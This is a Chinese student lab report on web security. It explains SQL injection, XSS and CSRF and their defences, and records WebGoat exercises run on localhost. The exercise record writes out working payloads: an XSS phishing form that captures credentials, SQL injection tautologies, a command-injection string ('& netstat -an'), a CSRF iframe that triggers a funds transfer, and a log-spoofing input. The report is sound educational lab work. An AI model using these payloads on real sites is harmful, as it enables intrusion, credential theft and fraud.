20164322 韩玉婷-----Exp9 Web安全基础

Exp9 Web安全基础

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

一.实验后回答问题

(1)SQL注入攻击原理,如何防御

原理:

SQL注入是针对数据库的一种攻击方式。攻击者会将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。

防御:

1>普通用户与系统管理员用户的权限要有严格的区分.

  在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。

2>强迫使用参数化语句.

如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。

3>加强对用户输入的验证。

测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果.

  
(2)XSS攻击的原理,如何防御

原理:

XSS跨站脚本攻击,是Web程序中常见的漏洞,分三类,存储型XSS、反射型XSS、DOM-XSS.XSS属于被动式且用于客户端的攻击方式,攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

防御:

1>完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

2>Html encode

假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

比如用户输入:
<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

(3)CSRF攻击原理,如何防御

原理:
Cross-site+request+forgery跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,是一种对网站的恶意利用.

防御:

1>通过 referer、token或者验证码来检测用户提交。

2>尽量不要在页面的链接中暴露用户隐私信息。

3>对于用户修改删除等操作最好都使用post操作。

4>避免全站通用的cookie,严格设置cookie的域。


二.实验总结与体会

本次实验是最后一次了,每周一次的试验让我的大三下过得格外充实,也有了很多收获,不仅仅是理论知识,更多的是实践动手能力。网络对抗的实验真的很考验英语水平,让我意识到学好英语的重要性。这门课,对我今后的生活、工作都有很重要的作用,网络安全和我们的生活息息相关,而网络攻击手段多种多样,防不胜防,提高自己的网络安全意识尤为重要。很开心很充实的度过了一学期,感谢老师的指导与陪伴!


三.实践过程记录

webgoat安装启动

下载地址:https://github.com/WebGoat/WebGoat/releases

下载下来后将jar包放到kali中,输入指令
 java -jar webgoat-container-7.0.1-war-exec.jar 

(这个过程可真的是艰难啊!登陆之后没有显示左侧的内容,问了小组长才知道,因为kali里安装的JDK版本太高原因导致的。所以将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8

但是官网上Linux 64 版JDK1.8下载不下来,发现有同学上传了一个可以使用的1.8版JDK ,感谢这位同学!)

 

在浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc

 

 输入下方给出的用户名和密码即可登陆。

1.Phishing with XSS 跨站脚本钓鱼攻击

此题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码。

代码如下:

    </form>
        <script>
        function hack(){ 
         XSSImage=new Image;
         XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
         alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
        </script>
        <form name="phish">
        <br>
        <br>
        <HR>
        <H2>This feature requires account login:</H2>
        <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
        <br>
        <input type="submit" name="login" value="login" onclick="hack()">
        </form>
        <br>
        <br>
        <HR>

将这段代码输入到输入框中:

点击search出现如下登录框,在登录框中输入用户名、密码:

2.Stored XSS Attacks 存储型XSS攻击

存储型XSS攻击是持久化的,代码是存储在服务器中的,用户访问该页面的时候触发代码执行。title任意输入,Message输入消息,嵌入一段js代码,用户点击后即可触发,
如在Message框中输入 script>alert("20164322 attack succeed!");</script> :

 点击提交后弹出对话框,攻击成功!

3.Numberic SQL Injection

在station 字段中注入特征字符,组合成新的SQL 语句。

按F12进入调试界面,选择Inspect...对源代码进行修改。在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1

输出如下所示:

4.Command Injection

(1)在下拉框上右击,点击 inspect Element 在 AccessControlMatrix.help后面加上  "& netstat -an"  

 选中修改后的值再点 view 

显示内容如下:

5.CSRF Prompt By-Pass

此题包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。查看页面右边Parameters中的src和menu值,并在title框中任意输入,message框中输入代码:

 <iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe> 

 提交后生成一个链接,点击后即可查看用户操作的信息,成功转出500,攻击成功!

 

6.Log Spoofing

在User Name文本框中输入 Smith%0d%0aLogin Succeeded for username: admin<script>alert(“20164322test”)</script> 达到欺骗登录效果:

 

 可看到smith登录失败,admin登录成功.

7.LAB: SQL Injection

stage1:String SQL Injection

使用字符串SQL注入绕过认证,登陆Boss(“Neville”)的账号。
将password的最大长度maxlength改为20:

 

 利用永真式,修改password=' or'1'='1,成功:

stage3:Numeric SQL Injection

用员工账号登陆,进入员工页面后再通过SQL注入来查看老板的账户信息,先用刚才的方法选择一名员工登录。从源代码中看一下在数据库中查找的方式,发现传递的参数是员工ID,想要调出老板账户信息,就得把老板排在id可以预测的位置,一般来说老板的工资都应该是最高的,所以把其中的value值改为 101 or 1=1 order by salary desc -- ,这样老板的信息就会被排到第一个:

 点击viewprofile按键,可成功看到老板的账户:

 

猜你喜欢

转载自www.cnblogs.com/Hyt--/p/10925676.html